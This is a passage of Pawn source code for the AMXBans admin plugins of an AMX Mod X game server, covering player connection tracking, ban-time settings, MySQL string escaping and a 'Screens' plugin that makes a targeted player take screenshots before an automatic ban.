		get_user_name(id, playerData[id][playerName], 31)
		get_user_authid(id, playerData[id][playerSteamid], 33)
		get_user_ip(id, playerData[id][playerIp], 21, 1)
	}
	
	if(g_SqlX == Empty_Handle) 
	{
		return set_task(1.0, "client_authorized", id + 201)
	}
	
	set_user_state(id, PDATA_CONNECTING)
	
	if(is_user_admin(id))
	{
		add_user_state(id, PDATA_ADMIN)
		if(get_user_flags(id) & ADMIN_IMMUNITY)
		{
			add_user_state(id, PDATA_IMMUNITY)
		}
	}

	return set_task(0.25, "check_player", id + 203)
}

public client_putinserver(id) 
{
	if(id > 202)
	{
		id -= 202
	}
	else
	{
		remove_user_state(id, PDATA_CONNECTING)
		
		if(is_user_hltv(id))
		{
			add_user_state(id, PDATA_HLTV)
		}
		if(is_user_bot(id)) 
		{	
			add_user_state(id, PDATA_BOT)
		}
		
		add_user_state(id, PDATA_CONNECTED)
	}
	
	if(g_SqlX == Empty_Handle) 
	{
		return set_task(1.0, "client_putinserver", id + 202)
	}
	
	if(get_user_state(id, PDATA_IMMUNITY))
	{
		return PLUGIN_HANDLED
	}
	
	check_player_post(id)
	disconnect_remove_player(id)
	
	return PLUGIN_CONTINUE
}

public client_disconnect(id) 
{
	if(!get_user_state(id, PDATA_KICKED) && !get_user_state(id, PDATA_IMMUNITY)) 
	{
		disconnected_add_player(id)
	} 

	remove_task(id + 200)
	remove_task(id + 201)
	remove_task(id + 202)
	remove_task(id + 203)
	remove_task(id + 204)
	
	return set_user_state(id, PDATA_DISCONNECTED)
}

public client_infochanged(id)
{
	if(!get_user_state(id, PDATA_CONNECTED))
	{
		return PLUGIN_CONTINUE
	}
	
	get_user_info(id, "name", playerData[id][playerName], 31)
	
	return PLUGIN_CONTINUE
}

public setHighBantimes() 
{
	new arg[32]
	new argc = read_argc() - 1
	g_highbantimesnum = argc

	if(argc < 1 || argc > 14) 
	{
		log_amx("[AMXBANS] You have more than 14 or less than 1 bantimes set in amx_sethighbantimes")
		log_amx("[AMXBANS] Loading default bantimes")
		return loadDefaultBantimes(1)
	}

	new i = 0
	new num[32], flag[32]
	while(i < argc)	
	{
		read_argv(i + 1, arg, 31)
		parse(arg, num, 31, flag, 31)

		if(equali(flag, "m")) 
		{ 
			g_HighBanMenuValues[i] = str_to_num(num)
		} 
		else if(equali(flag, "h")) 
		{
			g_HighBanMenuValues[i] = (str_to_num(num) * 60)
		} 
		else if(equali(flag, "d")) 
		{
			g_HighBanMenuValues[i] = (str_to_num(num) * 1440)
		} 
		else if(equali(flag, "w")) 
		{
			g_HighBanMenuValues[i] = (str_to_num(num) * 10080)
		}
		i++
	}
	
	return PLUGIN_HANDLED
}

public setLowBantimes() 
{
	new arg[32]
	new argc = read_argc() - 1
	g_lowbantimesnum = argc
	
	if(argc < 1 || argc > 14) 
	{
		log_amx("[AMXBANS] You have more than 14 or less than 1 bantimes set in amx_setlowbantimes")
		log_amx("[AMXBANS] Loading default bantimes")
		return loadDefaultBantimes(2)
	}

	new i = 0
	new num[32], flag[32]
	while(i < argc) 
	{
		read_argv(i + 1, arg, 31)
		parse(arg, num, 31, flag, 31)

		if(equali(flag, "m")) 
		{ 
			g_LowBanMenuValues[i] = str_to_num(num)
		} 
		else if(equali(flag, "h")) 
		{
			g_LowBanMenuValues[i] = (str_to_num(num) * 60)
		} 
		else if(equali(flag, "d")) 
		{
			g_LowBanMenuValues[i] = (str_to_num(num) * 1440)
		} 
		else if(equali(flag, "w")) 
		{
			g_LowBanMenuValues[i] = (str_to_num(num) * 10080)
		}
		i++
	}
	
	return PLUGIN_HANDLED
}

public plugin_end()
{
	ArrayDestroy(g_banReasons)
	ArrayDestroy(g_banReasons_Bantime)
	
	ArrayDestroy(g_disconPLname)
	ArrayDestroy(g_disconPLauthid)
	ArrayDestroy(g_disconPLip)
	
	ArrayDestroy(g_AReplaceInd)
	ArrayDestroy(g_AReplace)
	
	ArrayDestroy(g_ReplaceInd)
	ArrayDestroy(g_Replace)
	
	return PLUGIN_CONTINUE
}

public setFlagTimes() 
{
	new arg[32]
	new argc = read_argc() - 1
	g_flagtimesnum = argc
	if(argc < 1 || argc > 14) 
	{
		log_amx("[AMXBANS] You have more than 14 or less than 1 flagtimes set in amx_setflagtimes")
		log_amx("[AMXBANS] Loading default flagtimes")
		return loadDefaultBantimes(3)
	}
	
	new i = 0
	new num[32], flag[32]
	while(i < argc) 
	{
		read_argv(i + 1, arg, 31)
		parse(arg, num, 31, flag, 31)

		if(equali(flag, "m")) 
		{ 
			g_FlagMenuValues[i] = str_to_num(num)
		} 
		else if(equali(flag, "h")) 
		{
			g_FlagMenuValues[i] = (str_to_num(num) * 60)
		} 
		else if(equali(flag, "d")) 
		{
			g_FlagMenuValues[i] = (str_to_num(num) * 1440)
		} 
		else if(equali(flag, "w")) 
		{
			g_FlagMenuValues[i] = (str_to_num(num) * 10080)
		}
		i++
	}
	
	return PLUGIN_HANDLED
}

stock loadDefaultBantimes(num) 
{
	if(num == 1 || num == 0)
	{
		server_cmd("amx_sethighbantimes 5 60 240 600 6000 0")
	}
	if(num == 2 || num == 0)
	{
		server_cmd("amx_setlowbantimes 5 30 60 480 600 1440")
	}
	if(num == 3 || num == 0)
	{
		server_cmd("amx_setflagtimes 60 240 600 1440 10080 40320 90720 0")
	}
	
	return PLUGIN_CONTINUE
}

stock mysql_escape_string(dest[], len)
{
	replace_all(dest, len, "\\", "\\\\")
	replace_all(dest, len, "\0", "\\0")
	replace_all(dest, len, "\n", "\\n")
	replace_all(dest, len, "\r", "\\r")
	replace_all(dest, len, "\x1a", "\Z")
	replace_all(dest, len, "'", "\'")
	replace_all(dest, len, "^"", "\^"")
	
	return 1
}

stock mysql_get_username_safe(id, dest[], len) 
{
	copy(dest, len, playerData[id][playerName])
	return mysql_escape_string(dest, len)
}

stock mysql_get_servername_safe(dest[], len) 
{
	get_pcvar_string(pcvar_hostname, dest, len)
	return mysql_escape_string(dest, len)
}

#include <amxmodx>
#include <amxmisc>
#include <fakemeta>

#include "include/amxbans/color_chat.inl"

#define PLUGIN "AMXBans: Screens"
#define VERSION	"Gm 1.6"
#define AUTHOR "Larte Team"

#define PREFIX "!y[!tAMXBans!y]"

new victim
new CvarMaxss
new CvarInterval
new CvarTimestamptype
new CvarHUDText
new CvarBanTime
new CvarBanReason

new CountMenu
new CvarCountScreens
new g_max_players
new g_user_ids[33]
new g_player[33]

public plugin_init () 
{ 
	register_plugin(PLUGIN, VERSION, AUTHOR)
	
	register_dictionary("amxbans_ssban.txt")

	register_clcmd("amx_ssban", "cmdScreen", ADMIN_BAN, "<authid, nick or #userid> <count of screens>")
	register_clcmd("amx_ssbanmenu", "cmdScreenMenu", ADMIN_BAN, " - display screens menu")

	CvarMaxss = register_cvar("amx_maxscreens", "10")
	CvarInterval = register_cvar("amx_interval", "1.0")
	CvarTimestamptype = register_cvar("amx_stamptype", "3")
	CvarHUDText = register_cvar("amx_hudtext", "Cheese! :)")
	CvarCountScreens = register_cvar("amx_screenscount", "1 2 3 4 5 6 7 8 9")

	CvarBanTime = register_cvar("amx_ssbantime", "0")
	CvarBanReason = register_cvar("amx_ssbanreason", "Screens, go gm-community.net")

	register_cvar("amxbans_ssversion", VERSION, FCVAR_SERVER | FCVAR_SPONLY)
	g_max_players = get_maxplayers()

	color_chat_init()
	
	new configsDir[64]
	get_configsdir(configsDir, 63)
	
	return server_cmd("exec %s/amxbans-ssban.cfg", configsDir)
}

public plugin_cfg() 
{
	new line[128], token[10]
	get_pcvar_string(CvarCountScreens, line, 127)

	new stemp[128]
	formatex(stemp, 127, "%L", LANG_SERVER, "SS_MENU_COUNT_HEADER")
	
	CountMenu = menu_create(stemp, "CountScreensMenu")
	while(contain (line, " ") != -1) 
	{
		strbreak(line, token, 9, line, 127)
		formatex(stemp, 127, "%L", LANG_SERVER, "SS_MAKE_X_SCREENS", token)
		menu_additem(CountMenu, stemp, token)
	}
	
	formatex(stemp, 127, "%L", LANG_SERVER, "SS_MORE")
	menu_setprop(CountMenu, MPROP_NEXTNAME, stemp)
	
	formatex(stemp, 127, "%L", LANG_SERVER, "SS_BACK")
	menu_setprop(CountMenu, MPROP_BACKNAME, stemp)
	
	formatex(stemp, 127, "%L", LANG_SERVER, "SS_EXIT")
	menu_setprop(CountMenu, MPROP_EXITNAME, stemp)

	return set_task(5.0, "add_menu")
}

public add_menu()
{
	new stemp[128]
	formatex(stemp, 127, "%L", LANG_SERVER, "SS_MENU_NAME")
	
	AddMenuItem(stemp, "amx_ssbanmenu", ADMIN_BAN, "AMXBans: Screens")
	
	return PLUGIN_CONTINUE
}

public cmdScreenMenu(id, level, cid) 
{
	if(!cmd_access(id, level, cid, 1))
	{
		return PLUGIN_HANDLED
	}
	
	new stemp[128]
	formatex(stemp, 127, "%L", LANG_SERVER, "SS_MENU_PLAYER_HEADER")
	
	new menu = menu_create(stemp, "PlayersMenu")
	
	new i, name[32], tempid[10]
	
	for(i = 1; i <= g_max_players; i++) 
	{
		if(is_user_connected(i)) 
		{
			get_user_name(i, name, 31)
			num_to_str(i, tempid, 9)
			g_user_ids[i] = get_user_userid(i)
			menu_additem(menu, name, tempid, 0)
		}
	}
	
	formatex(stemp, 127, "%L", LANG_SERVER, "SS_MORE")
	menu_setprop(menu, MPROP_NEXTNAME, stemp)
	
	formatex(stemp, 127, "%L", LANG_SERVER, "SS_BACK")
	menu_setprop(menu, MPROP_BACKNAME, stemp)
	
	formatex(stemp, 127, "%L", LANG_SERVER, "SS_EXIT")
	menu_setprop(menu, MPROP_EXITNAME, stemp)

	return menu_display (id, menu, 0)
}

public PlayersMenu(id, menu, item) 
{
	if(item == MENU_EXIT) 
	{
		return PLUGIN_HANDLED
	}
	
	new data[6], iName[64]
	new access, callback
	menu_item_getinfo(menu, item, access, data, 5, iName, 63, callback)
	
	g_player[id] = str_to_num (data)
	menu_display(id, CountMenu, 0)
	
	return PLUGIN_HANDLED
}

public CountScreensMenu(id, menu, item) 
{
	if(item == MENU_EXIT) 
	{
		return PLUGIN_HANDLED
	}
	
	new data[6], iName[64]
	new access, callback
	new player = g_player[id]
	
	menu_item_getinfo(menu, item, access, data, 5, iName, 63, callback)
	
	if(g_user_ids[player] == get_user_userid(player)) 
	{
		client_cmd(id, "amx_ssban #%d %s", g_user_ids[player], data)
	}
	
	return PLUGIN_HANDLED
}

public cmdScreen(id, level, cid) 
{ 
	if(!cmd_access(id, level, cid, 3)) 
	{
		return PLUGIN_HANDLED
	}

	new arg1[24], arg2[4]

	read_argv(1, arg1, 23)
	read_argv(2, arg2, 3)
	
	new screens = str_to_num(arg2)
	victim = cmd_target(id, arg1, 1)
	
	if(!victim) 
	{
		return PLUGIN_HANDLED
	}
	
	if(screens > get_pcvar_num(CvarMaxss)) 
	{
		console_print(id, "%L", id, "SS_COUNT_NO")
		
		return PLUGIN_HANDLED
	}
	
	new Float:interval = get_pcvar_float(CvarInterval)
	new array[2]

	array[0] = id
	array[1] = victim

	set_task(interval, "takeScreen", 0, array, 2, "a", screens)
	set_task(interval * float(screens) + 1.0, "victimBan", _, array, 2)

	return PLUGIN_HANDLED
}
 
public takeScreen(array[2]) 
{
	new victim = array[1]
	new id = array[0]
	
	new timestamp[32], HUDText[32], name[32], adminname[32]
	get_time("%d.%m.%Y - %H:%M:%S", timestamp, 31)
	get_user_name(victim, name, 31)
	get_user_name(id, adminname, 31)
	get_pcvar_string(CvarHUDText, HUDText, 31)

	switch(get_pcvar_num(CvarTimestamptype)) 
	{
		case 0: 
		{
			ColorChat(id, RED, "%s %L", PREFIX, id, "SS_CHAT_INFO", name, adminname)
			client_cmd(victim, "snapshot")
		}

		case 1: 
		{
			ColorChat(id, RED, "%s %L", PREFIX, id, "SS_CHAT_INFO2", name, adminname, timestamp)
		 	client_cmd(victim, "snapshot")
		}

		case 2: 
		{
			set_hudmessage(225, 225, 225, 0.02, 0.90, 0, 1.0, 2.0)
			show_hudmessage(victim, HUDText)
			client_cmd(victim, "snapshot")
		}

		case 3: 
		{
			set_hudmessage(225, 225, 225, 0.02, 0.90, 0, 1.0, 2.0)
			show_hudmessage(victim, HUDText)
			ColorChat(id, RED, "%s %L", PREFIX, id, "SS_CHAT_INFO2", name, adminname, timestamp)
			client_cmd(victim, "snapshot")
		}
	}

	return PLUGIN_CONTINUE
}

public victimBan(array[2])
{
	new Reason[50]

	new victimId = get_user_userid(array[1])
	get_pcvar_string(CvarBanReason, Reason, 31)

	return client_cmd(array[0], "amx_ban %d #%d %s", get_pcvar_num(CvarBanTime), victimId, Reason)
}